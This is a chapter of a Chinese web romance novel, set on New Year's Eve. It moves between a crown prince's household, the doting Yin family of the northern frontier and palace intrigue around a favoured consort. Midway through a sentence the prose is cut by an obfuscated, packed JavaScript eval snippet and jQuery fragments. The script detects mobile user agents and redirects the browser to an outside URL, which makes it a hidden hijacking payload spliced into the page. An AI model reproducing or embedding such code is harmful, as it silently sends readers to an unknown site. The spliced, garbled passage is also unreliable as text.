20. 除夕

作品:《小姐她又不见了

    “殿下,您这般,有些过了吧?”嘉禾郡主离开,苏言卿饮尽手中热茶,眼中深藏笑意道。


    谢时衡自然地垂下手,屋中再无咳声,二人跪坐在软垫上,案几上提深银茶笼中摆放着顾渚紫笋,白瓷茶盏中,白毫显露,芽叶完整,色泽绿翠。


    “替孤去一趟漠北,查一查银家当年可有人来过长安。”再出声时,谢时衡沉稳肆意地端起茶托,轻抵唇畔间,抬眼望来,眸中晦如深色般道。


    “怎么,镇北王要反?这好不容易覆了个容家,如今又来一个李家,陛下心中到底如何想的。”


    在太子殿下面前,苏言卿一惯直言不讳,如今任谁都看得出陛下纵容李氏,亦如当年容氏那般甚至过犹不及,朝臣心中都有各自的算盘,这皇位一日不定,谁也别想安生。


    “切记,不到万不得已不可打草惊蛇,另外,孤这里还有一封信要你一同带去,明年开春之时,交由银家长子银怀瑾。”谢时衡抿了口温热茶汤,神色如常道。


    “啊,那岂不是今年的除夕无人陪你过了。”苏言卿忍不住笑声惊呼,神情间藏不住的揶揄。


    这京中他也待得够久了,无甚乐子,回到家中还得被老头子日日念叨,出去走走也挺好。


    “好说,给太子殿下办事,记得让吴风将车马吃喝一应报销啊。”离开前,苏言卿将案几上价值千金的御贡之茶喝得一滴不剩,还不忘玩笑道。


    殿门外,碎雪轻声而落,谢时衡无声望去,眉眼间难得有一瞬的舒缓。


    也不知今朝漠北风雪,也如眼前这般温柔。


    岁寒,漠北,除夕。


    “阿娘,婳婳呢?”刚入家门,银怀珏尚来不及换下甲胄,身后的马被小厮牵走,银母特意算好时辰等在门前迎父子二人。


    “臭小子,没瞧见你阿娘还在这的吗,一回来就只知道关心你妹妹。”银母白了儿子一眼,没好气道。


    落后一步的银父闻言咯噔一声,得亏儿子快他一嘴,否则此时遭殃的该是他了。


    “夫人莫要生气,今夜除夕,我们爷俩特意冒雪赶回来,可不就是想陪你与婳婳一道守岁。”银父一改往日威严,放下身段来轻声哄着自家夫人道。


    余光不时望向猴急想要往里跑去的儿子,一个劲儿的使眼色。


    银怀珏虽心大,却也知道阿母不过佯装生气罢了,但做儿子的态度还是得摆的足足的,“阿娘,儿怎会不牵挂您,喏,这是孩儿亲自入山猎到的白狐,整张皮子毫无瑕疵,特意想着留给您做一件袄子呢。”


    说到哄人,银怀珏可比两位兄长外向得多,别看着整日不着调,实则在家中受宠地位仅仅次于妹妹银婳。


    “你小子,还算会疼人,那不知给婳婳准备的是何礼啊?”银母故意笑着给儿子挖坑道。


    银怀珏哪里想到这茬,只恨一时嘴快哪壶不开提哪壶,他给阿娘准备的是白狐皮子,给婳婳准备的却是罕见红狐皮子,若叫阿娘知晓他这般偏心,指不定要如何念叨他呢。


    于是乎,犯难的银怀珏面上讪讪一笑,悄悄侧头偏向银父那头求助。


    谢父此时也不敢吱声,无他,父子二人都心照不宣地偏向了婳婳。


    在银母不饶放的目光中,银怀珏心虚挠着发顶,装傻含糊着道:“都是我亲自猎到的狐狸皮子,阿娘就不看了吧。”


    “你阿爹往年送我的也都是狐狸皮子,想来今年也一样,将我那份一并给婳婳送去,她的身子刚好,需得好生养护。”


    “是,儿子等会儿就叫人将箱子搬去妹妹阁楼中。”


    银母轻轻揭过,转身往府中走去,一边吩咐侍女去唤婳婳来花厅用膳。


    身后处,银怀珏霎然松了口气,后怕地跟干了亏心事般,得亏他反应快,要不然今日指定要被阿娘臭骂一顿。


    银怀珏回头正要与阿爹说话,却见自家老父亲竟满脸沮丧,耷拉着下巴一副苦命模样,心下见怪不由疑声问道:“阿爹,是怎么了么,阿娘也没生气啊?”


    “臭小子,都怪你。”离开前,谢父幽怨望向儿子,蛮不讲理地拿他出气道。


    要不是听了这臭小子的怂恿,他今年早早让人将上等的红白狐狸皮子送到城中成衣铺子,两件袄子明眼人都能瞧出来哪件才是送给夫人的。


    这可真是偷鸡不成蚀把米,搬起砖头砸自己个的脚。


    回廊中,银母当着侍女们面忍不住气闷数落起俩父子来道:“臭小子,跟他爹一个德行,真当老娘是好糊弄的。”


    侍女们自是知晓王妃缘何如此,见其难得骂人带粗,终于有了几分武将夫人做派,不由忍俊不禁。


    几日前,王妃带人到城中衣料铺子采买,好巧不巧,店中掌柜与王妃熟识,不经意间提起王爷在店中定制狐袄一事,想着都是镇北王府,那两件狐袄也刚刚做好,便一并交由夫人取回。


    夫人先未应,待见过那两件红白狐袄后,当即沉了脸,闷在心中好几日。


    方才间试探三少爷是假,摆王爷一道才是真。


    得亏王爷与三少爷还不知夫人已知此事,否则在夫人面前,还不得当场滑跪。


    “王妃,王爷这么多年如何待您婢子们都看在眼中,不过一件袄子罢了,兴许王爷是觉得那白袄更衬您,这才将红袄留给了小姐,为着一件身外之物不值当如此置气,仔细伤了身子。”


    身边侍女都是镇北王妃在长安城中作姑娘时便跟随的,主仆间早已胜似亲人,知晓王妃郁结,从旁开导道。


    “他从前求娶之时还说过我穿艳色更好看,如今不过才过去短短二十余载,眼中哪还看见我这个糟糠之妻,果然,成婚后的男人都一个德行。”


    说起从前事来,镇北王妃脸上的愠怒更甚。


    “夫人宽心,王爷心中只有您一人,婳婳小姐时隔多年还是头回在府中过除夕,您自个儿不也看重万分吗,月前便早早吩咐管事准备着,灯笼窗花、烟花爆竹小姑娘喜欢的,您哪一样不是亲自看着弄的,或许王爷也是同您一般心理行事。”


    侍女说到点子上了,镇北王妃听后心情不再沉郁,目光轻轻落在院子当中的红梅上,尤觉不够亮堂道:“再在树上添几盏灯笼照着,婳婳最喜红梅,晚上瞧着亮堂心头也是欢喜的。”


    “夫人放心,奴这就去叫人预备。”


    花厅之中,银婳到时,镇北王夫妇尚未到来,倒是大兄与三兄先到了。


    “婳婳,过来坐。”银婳站定间,身后处侍女木辛正在为其掸雪,银怀珏笑容满面地招手道。


    银婳扬唇笑来,双环望仙髻上插着一支蝴蝶步摇,眉心间金粉点缀梅花花钿,恰如洒金般华章溢彩,披风下,一袭石榴红裙衬得少女越发娇艳明媚,裙摆上大片的金银线暗纹密织折枝缠花,领口处缀有一圈细小莹润珍珠,既显贵气又不失少女的灵动。


    银婳盈盈笑着走到两位兄长面前,“婳婳,快叫一声‘三兄’来听听。”银怀珏早已等不及道。


    他在家中的时候不多,军营里阿爹将他丢去骑兵营,那些老家伙仗着本事大个个拿他当小孩使唤,如今好不容易回来一趟,他可不得好好过足兄长的瘾,再说妹妹生得这般白嫩可爱,说话声柔柔的,轻易不开口,唯有在家中时偶尔说上那么几句,可不得叫人稀罕。


    “三兄。”银婳杏眸弯成明月,再是乖巧不过道。


    “诶,再多唤几声,改明日阿兄带你去街上逛逛。”银怀珏听得心心里酥酥的,一脸享受样,不过瘾道。


    “三兄,三兄,三兄。”银婳一连叫了好几声,声音轻轻柔柔的,模样格外讨喜,发髻间拴在红绸带上的银铃成串清霖霖响动,昭示着少女此时的欢愉。


    “诶,诶,诶。”银怀珏甚为满意,一连笑着大声宠溺回道。


    一旁的银怀瑾在旁笑望着二人如同耍宝般玩闹。


    “臭小子,又在欺负你妹妹。”身前处,镇北王夫妇由外走来,镇北王目光精确定位三子,不悦道。


    “我哪有欺负妹妹,大兄可为我作证,分明是阿爹你自己吃不到葡萄说葡萄酸。”说到后句时,银怀珏识相的收敛气势,只敢轻声嘀咕道。


    开玩笑,年后他可不想“被安排”去刷马场。


    “阿爹。”银婳笑眯眯同镇北王道,随后又唤一声“阿娘”。


    夫妇二人一道朝前走来,满目柔色的望向女儿,颔首应声。


    “爹爹的宝贝女儿望着又长高不少,想爹爹没?”乖乖女儿在前,镇北王被哄得满脸褶皱,情不自禁地俯身摸了摸女儿那如墨锻发,满目期待道。


    另外三人在旁站着望来,心中一边鄙夷老爹、丈夫行为一边同样眼含期盼。


    “想。”镇北王刚话落银婳立马脆声接道,一时间,镇北王本就不大的眼睛顿时眯圆,眼中无尽的疼宠化作满池春水,抬眼傻笑着望向一旁妻与子,得意劲儿只差写在脸上了。


    “婳婳既然想爹爹,那往后爹爹有空都回来看你好不好?”镇北王此刻哪里还有半分上阵抗敌时的威慑力,都快被女儿软萌萌的话给哄成胚胎了。


    身旁几人见状只差把恶心写在脸上了。


    待一家人落座后,府中仆从将热锅端来,就着羊汤鲜香白沸,切成剥片的羊肉放入其中,很快熟透,原汤化原食,银家一家人高高兴兴间吃得不亦乐乎,加上温酒助兴,更别提这除夕夜过得有多欢乐。


    守岁间,银婳将此幕记在了画册上。


    寒窗外,白雪沁红梅,雪香如


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456840|184409||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    花,一时叫人分不清到底是白雪醉人还是红梅迷眼。


    长安城中,今夜宫中歌酒合乐,刚学会说话的九皇子趴在唐明帝背上,手舞足蹈间,被其驮着往前走,小孩子亮晶晶的眼眸中别提有多高兴。


    “陛下,莫要纵容嘉瑞,妾担心您的龙体。”含元殿中,李昭仪跟在父子俩身旁,一边担忧儿子不稳受伤,一边忧心唐明帝身体有恙。


    九皇子尚年少,李家今时地位还不足于挟天子以令诸侯,何况东宫太子一直深居浅出,无人知晓虚实,医令署那边密不透风,眼下最好的防御,便是以不变应万变,等待时机。


    “无妨,朕陪麟儿再玩一会儿。”唐明帝虽年迈,但疼宠九皇子之实朝野上下人尽皆知。


    李昭仪继续不放心地跟陪了一会儿,见唐明帝面露颓色,忙朝一旁随驾的兄长李琦使眼色。


    “陛下,让臣来陪九皇子玩吧,您与昭仪娘娘不妨到一旁歇歇。”李琦收到信号,恭谦上前道。


    “陛下,嘉瑞都快被您宠坏了,再这样下去,御史台那边参妾的文书都快堆满御案了。”说话间,李昭仪抛来眉眼,旋泣欲落道,分外地拿捏人心。


    “何人敢弹劾爱妃,朕抄他满门。”


    李氏兄妹一唱一和,短短温柔小意几句,殿中只余轻娇喘息之声。


    李琦带着九皇子退在偏殿中玩着等候,铜镜中,烛光半明半昧,李琦深深望着,直到九皇子抓住他的衣袖,一口奶音道:“母,母...妃”


    小孩子口齿不清,李琦听懂了,在收回目光后笑着耐心教道:“父~亲。”


    九皇子跟着大人般张口,好半响都不曾学会,李琦也不见气馁,只将小孩子托在肩上,哄得他“咯咯”笑个不断声。


    太子府中,寝殿前的光秃秃树下,谢时衡让人将晚间席案置于此,青色悬胆瓶中,插着一支红梅。


    泥炉炭上,温酒香飘满整个院子,天上雪花不时飘落其中,融于酒,也成于酒。


    谢时衡身披玄黑大氅,案几上吃食未动,身旁不少酒壶都落了空,人似不知醉般,独饮独酌,唯有手中的银铃相伴。


    “殿下这般,到底为哪样,不要告诉我你不知,我看过你的眼睛,其中缘由,你一定知道。”吴风拿来两壶冷酒,递给一旁站在檐下的隐时,直言道。


    隐时接过酒,并未着急去喝,先在唇畔嗅了一口,不受威胁般淡漠声道:“青庐酒,不错,是好酒。”


    说罢当即不再犹豫,仰头痛饮。


    吴风也不甘示弱,二人有来有回的喝了起来。


    风雪潇潇,庭院中,谢时衡兀自将酒盏一放,任由其滚落在草泥之中,身影靠在树干上,难得的有了些许沉睡意。


    在梦里,婳婳会转过头来同他说话,一颦一笑间,是那般明媚可得,叫人心安。


    “何必非要藏着掖着,殿下为人你还不知道吗,瞧上去性子冷冷清清,实则最是偏执,那样子分明是为情所困,你真当我瞧不出来?”


    吴风今夜特意寻来最烈的酒,为的就是从隐时口中套出话来,目的正是以虚探实。


    “殿下遇险之际,被一名女子所救。”隐时酒意上头,明明脑子清醒得很,心头却有无数话想同人说道说道。


    “殿下是喜欢上那个女子了?何不把人直接带回来,殿下如今年纪正是婚配之时,若那女子有些手段,凭殿下的本事,娶为侧妃不是难事。”


    吴风诧异,不想他随口一猜还真猜对了。


    “你忘了,殿下本就有婚约在身,何况那女子身份,又怎会屈人妾。”隐时本想继续说道,最后一个真正原因,他不能替殿下做下决断。


    那女子姓银,与殿下之间恐有血仇。


    “啊,殿下看重之人,竟如此大有来头?”吴风张大嘴巴,满是不可置信道。


    隐时再次仰头喝着酒,没再继续说话。


    还未归京前,殿下曾让他查过漠北银家,传回的文书中,有一句话是如此道:银家幺女,得父母疼宠,地位重于三兄。


    试问如此受尽镇北王夫妇宠爱的娇娇女,何人敢与之为妾,那岂不是挑寻整个漠北。


    “难怪殿下如此,哎,皇后当年离世前突然给殿下定下太子妃,可这么多年过去,那道懿旨始终无人见过,便是太子殿下本身,也不知太子妃为何人吧。”


    吴风听完殿下那疾疾而终的风流事,不禁忍不住的嘘嘘感慨道。


    “今日之事,莫在殿下面前提及。”酒散前,隐时寒眼望来,认真告诫道。


    殿下对那银家幺女早已情根深种,只望那棵不知活不活得过冬的山楂树,便知情深入骨。


    本该凉薄之人,却深陷情迷,也不知到底是福是祸。